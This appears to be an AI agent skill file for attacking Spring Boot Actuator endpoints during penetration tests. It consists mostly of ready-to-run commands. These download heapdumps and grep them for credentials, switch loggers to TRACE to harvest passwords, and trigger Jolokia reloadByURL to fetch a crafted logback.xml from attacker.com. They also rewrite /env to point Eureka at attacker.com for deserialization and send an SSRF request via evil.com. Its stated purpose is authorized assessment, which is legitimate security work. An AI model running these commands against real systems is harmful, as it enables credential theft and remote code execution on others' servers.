| name | spring-actuator-pentest |
| description | Spring Boot Actuator exploitation for penetration testing. Use this skill whenever you need to assess Spring Boot applications for actuator misconfigurations, extract secrets from heapdumps, abuse logging endpoints for credential capture, or test for RCE via Jolokia. Trigger this skill for any Spring Boot security assessment, actuator endpoint enumeration, JVM heap analysis, or when investigating exposed /actuator endpoints on target systems. |
Spring Boot Actuator Pentesting
A comprehensive skill for exploiting Spring Boot Actuator misconfigurations during security assessments.
Overview
Spring Boot Actuators expose operational endpoints that can leak sensitive data or enable remote code execution when misconfigured. This skill covers:
- Endpoint enumeration - Discover exposed actuator endpoints
- Secret extraction - Mine credentials from heapdumps
- Logging abuse - Capture credentials via verbose logging
- RCE exploitation - Exploit Jolokia and environment manipulation
Quick Start
curl -s http://target/actuator | jq .
curl -s http://target/actuator/heapdump -O heapdump
./scripts/extract-heapdump-secrets.sh heapdump
Endpoint Enumeration
Default Actuator Endpoints
Spring Boot registers these endpoints by default:
| Endpoint | Purpose | Risk Level |
|---|
/health | Application health | Low |
/info | Application info | Low |
/env | Environment properties | High |
/beans | Spring beans | Medium |
/trace | HTTP request trace | Medium |
/logfile | Log file contents | High |
/loggers | Logger configuration | High |
/heapdump | JVM heap snapshot | Critical |
/jolokia | JMX over HTTP | Critical |
/mappings | URL mappings | Medium |
/dump | Thread dump | Medium |
/shutdown | Application shutdown | Critical |
/restart | Application restart | Critical |
/httpexchanges | HTTP exchange history | High |
/configprops | Configuration properties | Medium |
Version Differences
- Spring Boot 1.x: Actuators at root path (
/env, /health)
- Spring Boot 2.x+: Actuators under
/actuator/ prefix (/actuator/env, /actuator/health)
Enumeration Script
Use the enumeration script to discover all exposed endpoints:
./scripts/enumerate-actuators.sh http://target:8080
This script:
- Checks for
/actuator and root-level endpoints
- Tests common actuator paths
- Reports accessible endpoints with status codes
- Identifies version (1.x vs 2.x) based on path structure
Heapdump Secrets Mining
When /actuator/heapdump is exposed, you can retrieve a full JVM heap snapshot containing live secrets.
Quick Extraction
curl -s http://target/actuator/heapdump -O heapdump
./scripts/extract-heapdump-secrets.sh heapdump
Manual Extraction
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
printf %s 'BASE64_STRING' | base64 -d
High-Value Targets
Look for these patterns in heapdumps:
- Database credentials:
DataSourceProperties, HikariDataSource objects
- API keys:
OriginTrackedMapPropertySource entries
- Basic Auth:
Authorization: Basic headers in memory
- Service URLs: Eureka
defaultZone with embedded credentials
- Spring properties:
management.endpoints.web.exposure.include
VisualVM Analysis
For deeper analysis, open the heapdump in VisualVM and run OQL queries:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
JDumpSpider
Automated extraction with JDumpSpider:
java -jar JDumpSpider-*.jar heapdump
Logging Abuse for Credential Capture
When /actuator/loggers is exposed, you can increase log levels to capture credentials from authentication flows.
Enable Verbose Logging
curl -s http://target/actuator/loggers | jq .
./scripts/configure-loggers.sh http://target TRACE org.springframework.security org.springframework.web
Manual Configuration
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' \
-d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' \
-d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' \
-d '{"configuredLevel":"TRACE"}'
Harvest Credentials from Logs
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
Reset Log Levels
Always reset log levels after testing:
./scripts/configure-loggers.sh http://target null org.springframework.security org.springframework.web
Or manually:
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' \
-d '{"configuredLevel":null}'
Remote Code Execution via Jolokia
The /jolokia endpoint exposes JMX over HTTP and can enable RCE through the reloadByURL action.
Test for Jolokia RCE
./scripts/test-jolokia-rce.sh http://target:8080
Manual Exploitation
curl -s http://target/jolokia/list
curl -s 'http://target/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http://attacker.com/logback.xml'
Crafted logback.xml Payload
<configuration>
<appender name="RCE" class="ch.qos.logback.core.net.SMTPAppender">
<personal>$(whoami)</personal>
</appender>
<root level="INFO">
<appender-ref ref="RCE"/>
</root>
</configuration>
Environment Manipulation via /env
When Spring Cloud Libraries are present, the /env endpoint allows property modification.
Modify Properties
curl -s -X POST http://target/env \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'eureka.client.serviceUrl.defaultZone=http://attacker.com/n/xstream'
curl -s -X POST http://target/actuator/env \
-H 'Content-Type: application/json' \
-d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://attacker.com/n/xstream"}'
Dangerous Properties
These properties can be manipulated for various exploits:
spring.datasource.tomcat.url - Database connection string
spring.datasource.tomcat.username - Database credentials
spring.datasource.tomcat.password - Database password
spring.datasource.tomcat.validationQuery - SQL injection vector
eureka.client.serviceUrl.defaultZone - XStream deserialization
SSRF via Matrix Parameters
Spring's handling of matrix parameters (;) in HTTP paths can enable SSRF.
Exploit Request
GET ;@evil.com/path HTTP/1.1
Host: target.com
Connection: close
Or with curl:
curl -s 'http://target.com/;@evil.com/path' -H 'Host: target.com'
Workflow Recommendations
Initial Reconnaissance
- Enumerate all actuator endpoints
- Check for
/actuator vs root-level endpoints (version detection)
- Test for
/heapdump exposure
- Check
/env and /loggers accessibility
Secret Extraction
- Download heapdump if available
- Run extraction script for quick wins
- Use VisualVM for deeper analysis
- Test extracted credentials on adjacent services
Credential Capture
- Enable TRACE logging for security packages
- Trigger authentication traffic
- Harvest credentials from logs
- Reset log levels when done
RCE Testing
- Check for
/jolokia endpoint
- Test
reloadByURL action
- Attempt environment manipulation via
/env
- Test matrix parameter SSRF
Safety and Ethics
- Only test systems you have authorization to assess
- Reset log levels after testing to avoid performance impact
- Document all findings and remediation recommendations
- Be aware that heapdumps may contain PII requiring special handling
References